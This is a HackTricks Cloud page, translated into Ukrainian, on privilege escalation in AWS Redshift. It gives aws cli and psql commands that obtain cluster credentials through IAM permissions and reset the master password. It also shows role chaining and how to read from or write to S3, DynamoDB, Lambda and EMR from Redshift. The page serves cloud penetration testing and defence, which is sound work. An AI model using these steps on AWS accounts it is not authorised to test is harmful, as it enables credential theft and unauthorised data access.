AWS - Redshift Privesc
Reading time: 4 minutes
tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
Redshift
Для отримання додаткової інформації про RDS див.:
redshift:DescribeClusters, redshift:GetClusterCredentials
З цими дозволами ви можете отримати інформацію про всі кластери (включно з ім'ям та cluster username) та отримати credentials для доступу до нього:
# Get creds
aws redshift get-cluster-credentials --db-user postgres --cluster-identifier redshift-cluster-1
# Connect, even if the password is a base64 string, that is the password
psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAM:<username>" -d template1 -p 5439
Потенційний вплив: Знайти конфіденційну інформацію у базах даних.
redshift:DescribeClusters, redshift:GetClusterCredentialsWithIAM
З цими дозволами ви можете отримати інформацію про всі кластери та отримати облікові дані для доступу до них.
Зверніть увагу, що користувач postgres матиме дозволи, які має IAM identity, яка була використана для отримання облікових даних.
# Get creds
aws redshift get-cluster-credentials-with-iam --cluster-identifier redshift-cluster-1
# Connect, even if the password is a base64 string, that is the password
psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAMR:AWSReservedSSO_AdministratorAccess_4601154638985c45" -d template1 -p 5439
Можливий вплив: Знайти конфіденційну інформацію в базах даних.
redshift:DescribeClusters, redshift:ModifyCluster?
Можна змінити master password внутрішнього користувача postgres (redshit) через aws cli (я думаю, це ті дозволи, які потрібні, але я ще не тестував їх):
aws redshift modify-cluster –cluster-identifier <identifier-for-the cluster> –master-user-password ‘master-password’;
Potential Impact: Знайти чутливу інформацію всередині баз даних.
Доступ до зовнішніх сервісів
warning
Щоб отримати доступ до всіх наступних ресурсів, вам потрібно буде вказати роль, яку використовувати. Кластер Redshift може мати призначений список AWS ролей, які ви можете використовувати якщо знаєте ARN, або ви можете просто встановити "default", щоб використовувати призначену роль за замовчуванням.
До того ж, як пояснено тут, Redshift також дозволяє вказувати кілька ролей (за умови, що перша може взяти на себе другу) для отримання додаткового доступу, просто розділивши їх комою: iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';
Lambdas
Як пояснюється в https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html, можливо викликати lambda function з redshift з чимось на кшталт:
CREATE EXTERNAL FUNCTION exfunc_sum2(INT,INT)
RETURNS INT
STABLE
LAMBDA 'lambda_function'
IAM_ROLE default;
S3
Як пояснено в https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html, можливо читати та записувати в S3 buckets:
# Read
copy table from 's3://<your-bucket-name>/load/key_prefix'
credentials 'aws_iam_role=arn:aws:iam::<aws-account-id>:role/<role-name>'
region '<region>'
options;
# Write
unload ('select * from venue')
to 's3://mybucket/tickit/unload/venue_'
iam_role default;
Dynamo
Як пояснено в https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html, можна отримати дані з dynamodb:
copy favoritemovies
from 'dynamodb://ProductCatalog'
iam_role 'arn:aws:iam::0123456789012:role/MyRedshiftRole';
warning
Таблицю Amazon DynamoDB, яка постачає дані, потрібно створити в тому ж AWS Region, що й ваш кластер, якщо ви не використовуєте опцію REGION для вказання AWS Region, в якій розташована таблиця Amazon DynamoDB.
EMR
Дивіться https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html
Посилання
tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
HackTricks Cloud